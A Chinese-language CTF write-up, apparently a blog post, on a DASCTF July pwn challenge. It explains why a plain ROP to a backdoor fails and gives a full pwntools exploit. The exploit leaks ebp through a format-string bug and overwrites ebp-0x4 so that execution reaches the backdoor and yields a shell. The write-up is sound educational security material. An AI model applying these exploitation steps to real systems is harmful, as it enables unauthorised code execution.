Dasctf(7月赛)

最近打了dasctf7月赛,有道虚假的签到题蛮有意思的,记录一下

(以前没见过这种骚套路)

打开IDA一看:

明显的栈溢出ROP,还给了后门

一顿操作之后,pwn不通。一时间不知发生了什么

仔细研究过后,从汇编语言处发现了该题的陷阱所在

在这段汇编代码中,读入我们的输入之后,通过ecx传值,传到esp,再到eip中执行

正好前面有一个格式化字符串漏洞

那么我们的思路就为

通过格式化字符串泄露栈上的地址,然后在该地址(ebp-0x4)上写入我们原本安排好写入了backdoor的地址,最后getshell

Exp如下:

from pwn import *
#p = remote('183.129.189.60',10013)
p = process('./qiandao')
def debug():
    gdb.attach(p)
    pause()

p.recvuntil("what's your name:")
backdoor=0x0804857D
p.sendline('%2$p')
#debug()
p.recvuntil('0x')
address=int(p.recv(8),16)#ebp
log.info('address: %s',hex(address))
address = address-4
payload=9*p32(backdoor)+p32(address)
p.recvuntil('\nCan you solve this sign-in problem?')
p.sendline(payload)
#debug()
p.interactive()

这里讲下调试的过程:

第一个断点打在call printf这段代码处,第二个则打在0x8048601处

断点一:

寄存器
栈上的情况

我们可以观察到%2$p的值为0xffffcf18,正好为ebp的值(记录栈基址),可以考虑将这个值作为泄露的目标。

断点二:(这里因为方便需要,第二处输入了很多个aaaaaaaaaaaaaaaaaa)

此时ecx的值取自ebp-0x4,esp的值正好为0x61616161(‘aaaa’)-0x4,就等下一步retn了

这也就解释了为啥要泄露%2$p的值,正好是ebp所储存的栈基址,以后就控制ebp-0x8内存的值为后门地址且ebp-0x4为地址通过ecx传入eip。

发表评论

电子邮件地址不会被公开。 必填项已用*标注